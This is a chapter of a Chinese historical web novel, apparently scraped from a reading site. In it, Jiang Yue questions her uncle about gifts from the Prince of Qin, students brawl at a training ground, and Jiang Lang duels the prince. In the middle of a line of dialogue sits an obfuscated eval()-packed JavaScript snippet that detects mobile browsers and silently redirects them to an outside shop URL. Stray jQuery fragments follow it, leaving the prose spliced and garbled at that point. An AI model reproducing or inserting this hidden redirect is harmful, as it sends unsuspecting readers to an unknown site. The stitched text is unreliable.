“赵简给了你什么好处?”
“也没什么......”一身穿仙鹤红褙的男子不自在地摸了摸脸。
“事到如今,你还不快从实招来!”
那男子一咬牙,低声道:“也就几斛东海夜明珠、几把白玉宝剑、几幅不出世大师的字画还有......”
姜月脚步一顿,道:“还有?”
“有些时候也会送来些珠宝首饰啊,一些叫不出名字的蔬果之类的......”
巧心在一侧听着,嘴巴简直能塞得下一个鸡蛋,被姜月打发出去和蕊心一道望风。
姜峻看了一眼江景,叹了一声,“我是真的以为他把我当知己才将那些东西送给我的......难道不是吗?”
姜月恨铁不成钢地看了一眼姜峻,“二叔,你清醒一点。”
“我原也不知道你......我要知道你......我肯定小心谨慎......”姜峻有些懊恼,又有些伤心,“终究,还是错付了!”
他是临到奉京才知道姜月代替姜好一事,还是姜琅怕他害姜月露馅才告诉他的。
姜月看着姜峻神伤的模样,甚至怀疑他是不是喝醉酒了,可是他今日分明滴酒未沾。
“你和他通信一事,怎么没和我说起过?”
“我是那样的人吗!难道还要到处和别人吹嘘秦王殿下与我交情好?我们是君子之交啊!”
姜月想起姜峻收到的一大堆礼品,嘴角抽了抽。
“你和他在信上都说了些什么?”
“有些不记得了。”姜峻道,“但是来信我保存得好好的。”
姜月摇头,赵简写的信又怎么会让你看得出端倪来?想来他早在进京的时候就已经对自己的身份生疑了。
“那怎么办?现在是不是被他察觉了?问题大不大?”
姜月望着江面,心道:要是在前几天,那问题大了去了。但是现在么......攻守之势异也!
“二叔放心,出不了岔子。”
姜峻闻言长出了一口气,“那就好,我多怕我回不去了。”
姜月:......真不愧是我的亲二叔。
两人说这话,却忽然听到不远处的校场传来喧闹声。
姜月望了一眼,道:“我先过去看看,二叔再逛逛罢。”
走得越近,喧闹声也越真切,似乎有人在争执,姜月听到了其中还有姜琅的声音,当即加快了脚步。
“宋举子将这罐酒喝了,我就将你这衣裳收下!”
“梁官生将这衣裳收下了,我就喝了这罐酒!”
“你先喝酒!”
“你先接衣!”
“你先!”
“你先!”
不知道谁骂了一句他奶|奶的,接着一壶酒被摔烂在地,哐啷一声,本就剑拔弩张的两群人顿时就近抄起兵器架的家伙,兵兵乓乓地打了起来。
宋旒搭在臂间的披风被人踩了一脚,嘶啦一声迸裂开来,他捞起一把雁翎刀,堪堪挡住向面门袭来的利刃,锵一声,来人将红缨枪回撤,极快地舞了个花枪,随即一个拨|枪,扫向宋旒双腿。
宋旒踩在一侧的兵器架上借力,腾空而起,一刀劈向持枪者的手腕。
姜琅轻轻哼了一声,后撤半步站定,一拦一扎,宋旒立即往边上一避,而在他身侧的一个同窗正好闪身躲开一个大燕官生的攻击,眼看着刀锋就要落到宋旒的后背上,突然“铮”地一声,宋旒微微偏过脸一看,一把马刀擦着他的鼻尖而下,几缕黑发断裂在空中,不禁激出一阵冷汗。
随后又传来砰砰砰几声,随即几声惨叫在校场响起,瞬时间半数学子都倒了下去。
姜琅握着红缨枪,看着赵简身后一抹渐近的身影,饶有兴致道:“久仰秦王殿下大名,还请不吝赐教!”
赵简看着他脸上独属于少年人恣意的笑,心中莫名一阵火起,一手负于身后,一手伸出示意,让他直接出招。
姜琅手中的红缨枪一阵轻颤,地上也传来咯咯的颤栗声。四周扭打的人也停下了动作,甚至互相搀扶着找位置坐下观战。
姜月来到校场之时,只见一红一白两道身影打得正酣,校场之上学子们分作好几堆,无不在窃窃私语暗地下注。姜月拨开人群急急走过,众学子甫才抬头,刚想说是哪个这般无礼,看到是姜月,又纷纷低下头去继续下注。
姜峻和孙桢也赶到了,两人急哄哄地往前赶去,将下注放好的交子全都踩入了泥中,不约而同地劝道:“这是怎么啦?殿下,有事好商量有事好商量啊!”
众学子还在四手八脚地将自己的交子分拣出来,忽然听到有人高喊了一声:“阿弟!”
姜月扶住站立不稳的姜琅,看见他嘴角渗出血丝,不由得蹙紧了眉头,“你怎么样?”
姜琅咽下一口血水,又接过姜月递过来的帕子,搀着她的手站稳,扯了扯笑,安抚道:“我没事!”说着他又朝赵简抱了抱拳,“秦王殿下果然武艺超群,鄙人受教!”
姜峻揩了一把头上的汗,安慰孙桢,也像是在安慰自己,“切磋呢,是切磋而已。”
“姊,我真的没事。”姜琅在一侧低声道,“就是胸口疼,这儿,就这儿......”
姜月走之前,淡淡瞥了一眼赵简,随即收回视线,只留下一个决绝的背影。
姜峻也望了一眼赵简,似乎想上前和他说两句,但最终还是板着脸,将一众官生叫到了一边。
宋旒很自觉地将国子监的学子都召集在一起,然后微垂着头在赵简面前站定,他想着今日和那些大夏的官生干了一架,说什么也得被责罚一番了。
然而他们十几个人在寒风中瑟瑟发抖了好一会儿,赵简都没有说话。宋旒悄悄看了一眼,只看到赵简面沉如水,拳头捏了又松,松了又捏,吓得赶紧给同窗们打了个手势:噤声,千万噤声!
但最终,赵简什么也没说,什么也没做,眼尾都没扫他们一下就走了,留着他们十几个人在风中凌乱。
孙桢终于找到机会说话了:“这究竟是怎么一回事!”
“就是....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13042588|132510||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
..谁还稀罕他们的臭衣裳啊。”
“那也不能一言不合就动手!”
原来今日在校场比试过后,众学子在校场边上的毡棚里喝了几杯酒,国子监的学子看到大夏一名官生衣衫单薄,便开玩笑似的说要借衣裳给他穿,免得着凉了。
说着就要解开身上的大氅往那人身上披。
这本是一个表示亲近的动作,但大夏的官生却齐刷刷地变了脸色。
要知道,大夏朝堂上如今泾渭分明,对待大燕的态度大致可分为两种派别。
一是以周皇后为代表的外戚势力,他们多是大夏的世家大族,也是所谓的主和派。他们认为,鞑靼长期滋扰边境,戍防工事被不断毁坏,已经让边境百姓怨声载道,此时是鞑靼是因为忙于内斗才没有大举进犯,假若鞑靼全力南下,以大夏如今的兵力无法阻挡其攻势。
但他们有一个好邻居,元景帝胸怀宽广,准众属国“本国之俗”不变,又本着“薄来后往”原则,对朝贡者给予大量的赏赐,其价值远远超过朝贡者所进贡的物品。大燕朝兵强马壮,如若能依附大燕国,何必还忌惮那蹦跶的无知蛮夷?
但另一党派则秉持完全相反的态度,他们扶持着年幼的太子,是大夏正统皇室坚定的拥护者,对怀柔政策不揪不采,主张休养生息,韬光养晦,在必要的时刻与鞑靼决一死战。这个派别没有固定的代表人物,却分布在大夏的每一个角落,他们都有一个统一的名字——读书人,其中又以寒门子弟居多。百姓也称之为庶大夫。
这就出现了一个很滑稽的现象,世代享受皇家恩宠的士族在朝堂上力劝太子归附他国,而从未蒙受过皇家恩泽的寒门子弟则为国权据理力争。
好巧不巧,此次前往大燕的官生,看法与庶大夫一族如出一辙。
虽然大夏在几十年的内斗与享乐中已经丧失了斗志,但当初好歹也是在马背上打下的天下。那被赠衣的官生又刚好在比试中落败,此时的赠衣就好像是强者对弱者的一种强求和恩赐。
那姓梁的官生也是个暴脾气,一把抓起桌上一大罐酒,道:“你将这酒一口气干了,我就收了你这衣裳!”
两边都是文武兼备的年青人,心气高,不服气,梗着脖子谁也不肯让步,最后不知谁打翻了酒,一言不合便打了起来。
“二叔不是说了没什么事了么?圣上也没怪罪......”姜琅看着姜月为他涂药油的动作停了下来,忙闭上了嘴。
“你方才差点害宋旒被劈一刀,你知道他是谁吗?”
他是十万水师总提督独子,是荣贵妃的亲侄,是明年开春最有望连中三元的举子,是元景帝看着长大并寄予厚望的未来驸马爷!
姜琅有些委屈,自己倒了药油搓揉着臂膀上的红肿处,“刀剑无眼,我怎么会知道......”
姜月忍不住朝他伤处拍了一掌,姜琅痛得叫了一声,嘶着气道:“我错了,是我收不住手,没看到后边有人,我要是看到了一准将他拉到边上去。”
“那赵简呢,你为什么要招惹他?”